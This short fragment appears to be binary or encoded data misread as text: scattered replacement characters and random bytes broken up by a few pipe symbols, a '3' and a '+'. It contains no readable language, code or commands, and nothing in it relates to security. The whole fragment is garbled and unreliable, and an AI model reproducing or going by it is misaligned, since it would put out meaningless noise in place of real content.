v�Vx~_֚܆�E�άA*:�@�sH�N�+ha<f��q��%Й�-���S���h8���UCS:�@5>��5�|5�F�Si���F)f�o�ο2͒������.�O��x�q
|
|
3
|
+
�t�X'@9�PRS��O�EE�#�7��-E����@5�#��
|